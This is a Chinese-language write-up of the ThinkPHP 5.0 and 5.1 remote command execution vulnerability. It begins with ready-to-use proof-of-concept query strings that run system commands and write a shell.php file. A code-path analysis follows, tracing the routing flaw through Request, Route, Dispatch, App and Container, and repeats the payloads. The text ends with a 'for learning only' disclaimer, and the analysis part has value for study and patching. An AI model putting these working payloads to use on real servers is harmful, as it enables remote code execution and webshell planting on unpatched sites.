ThinkPHP 5.0 & 5.1远程命令执行漏洞利用
0x01 漏洞利用方式
5.0版本POC(不唯一)
命令执行:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系统命令]
文件写入:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>
5.1版本POC(不唯一)
命令执行:?s=index/\think\Request/input&filter=system&data=[系统命令]
文件写入:?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
0x02 漏洞分析
版本: Thinkphp v5.1.29(影响版本<5.1.31和<5.0.23)
本次分析环境:PHP/7.0.12 + Apache2
ThinkPHP官方在12月9日发布了5.*版本的更新,更新说明“由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞”,所以漏洞的触发在路由调度时,thinkphp中由函数pathinfo()来获取路由,定位函数查看:/thinkphp/library/think/Request.php:678行
pathinfo()
其中在文件31行定义了var_pathinfo的默认值为s :
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's'
所以当请求报文中以GET形式传入s参数是,则将其值作为pathinfo。全局查找pathinfo()函数的调用情况,可以发现同文件下path函数对其进行调用,定位path()函数查看:/thinkphp/library/think/Request.php:716行
path()
调用pathinfo()函数获取路由信息,并将返回值赋值给了$this->path,所以我们可以控制该变量,即path()函数的返回值,继续跟踪path函数的调用情况,定位函数routecheck():/thinkphp/library/think/App.php:583行
routecheck()
该函数进行路由检测,且将我们可控的$path变量传递到了check()函数中进行处理,定位查看check()函数:/thinkphp/library/think/Route.php:877行
check()
这里我们就可以看出为何官方说明,在开启强制路由的情况下不受该漏洞的影响,如果开启强制路由,则check处理传入的由我们构造的$url变量时会实例化RouteNotFoundException对象,即报出对应的错误。
RouteNotFoundException
而默认路由解析情况下,check()函数实例化了UrlDispatch对象,并将$url传递给了构造函数进行处理,UrlDispatch继承Dispatch,分析其父类Dispatch的构造函数,跟踪查看:library/think/route/Dispatch.php:64行
Dispatch构造函数
传入的$dispatch变量值赋值给了$this->dispatch,全局收索$this->diapatch的处理情况,最终会传入Url类中的init()函数进行处理,跟踪查看init()函数:/thinkphp/library/think/route/dispatch/Url.php:20行
Url类的init()
init()函数调用parseUrl()函数对$this->diapatch变量进行处理,跟踪查看:/thinkphp/library/think/route/dispatch/Url.php:37行
parseUrl()
ParseUrl()函数又将变量传入到了parseUrlPath()函数中,继续定位查看parseUrlPath()函数:/thinkphp/library/think/route/Rule.php:951行
parseUrlPath()
利用‘/’对$url变量进行分割,且$url的格式为‘模块/控制器/操作’,将$url分割后的值存放在$path变量当中,并返回到parseUrl()函数,最终返回到Url类中init()函数: /thinkphp/library/think/route/dispatch/Url.php:20行
Url类的init()
最终分割后封装好的路由信息数组传递到了$result变量中,随后传递到了Module的构造函数进行处理,由于Module的父类也是Dispatch,即将$result值传递给了变量$this->dispatch,随后调用Module类的init()函数对$this->dispatch进行处理,定位查看:/thinkphp/library/think/route/dispatch/Module.php:27行
Module类的init()
在初始化模块的判断语句中,对$module进行判断,则需要$available的值为true,即需要is_dir($this->app->getAppPath() . $module 的判断条件成立,由于默认模块是index,所以入口模块为index,也可以用‘.’进行替换。$this->dispatch的值最终传递到$this->controller中,init()函数处理完过后,进入exec()函数,查看函数代码: /thinkphp/library/think/route/dispatch/Module.php:85行
exec()
exec()函数将变量$this->controller传递给了controller()函数进行处理,继续跟踪controller()进行查看:/thinkphp/library/think/App.php:720行
controller() 该函数中的$name变量是由我们控制的,随后调用parseModuleAndClass()函数对其进行出来,跟进parseModuleAndClass()函数:/thinkphp/library/think/App.php:641行 parseModuleAndClass()
当$name中存在’\’时,直接将$name值赋给$class,然后实例化$class,并返回,这里可能有些人不知道为什么会实例化$class,在parseModuleAndClass()函数执行后返回到controller()函数中
controller()
其中返回了$class变量,所以调用魔术方法__get()函数进行处理,App类是继承于Container的,所以可以去查看Container类中的魔术方法__get()
public function __get($name)
{
return $this->make($name);
}
__get()调用了make()函数,跟踪查看:/thinkphp/library/think/Container.php:260行
make()
make()将传入的传入的变量实例化为一个类,即controller()中$name为我们可以控制的值,可以通过构造$name变量来实例化任何一个类,所以我们可以通过构造s=index/\think\class/method来实例化\think\class类并且执行该类的method方法达到控制程序流,由于Rule.php中parseUrlPath()函数中:
$url = str_replace('|', '/', $url);
所以也可以使用’|’进行进行构造,即index|\think\class|method。在\think\Request类中找到可以利用的方法input:
input()
通过构造payload:
s=index/\think\Request/input&filter=phpinfo&data=1
即可调用phpinfo函数,调用system()函数便可以任意命令执行。
phpinfo
在\think\template\driver\file类中找到可以任意写文件的方法write:
write()
所以通过构造payload:
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
写入文件
便可以在网站根目录写入任意恶意文件,从而达到控制目标服务器的目的,可以调用进行恶意操作的类比较多。
对于Thinkphp5.0版本的,其路由控制器实现原理是一样的,只是各种调用方式和函数名不太相同,这里不详细分析,漏洞利用时调用的方法不一样,通过查找可以利用app类中的invokeFunction方法: invokeFunction()通过实例化ReflectionFunction类,调用function函数,由于变量$var为数组,所以可以构造payload:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
phpinfo
通过构造payload:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>
便可以达到任意写的目的:
写入文件
同5.1版本一样,其parseUrlPath函数在处理$url时也进行了替换处理:
$url = str_replace('|', '/', $url);
所以payload中的’/’也可以利用’|’进行替换。该漏洞的利用方法不唯一,针对Thinkphp5.*的不同版本可以寻找不同的类进行调用。
漏洞分析仅用于学习!!!一切实际攻击利用行为概不负责。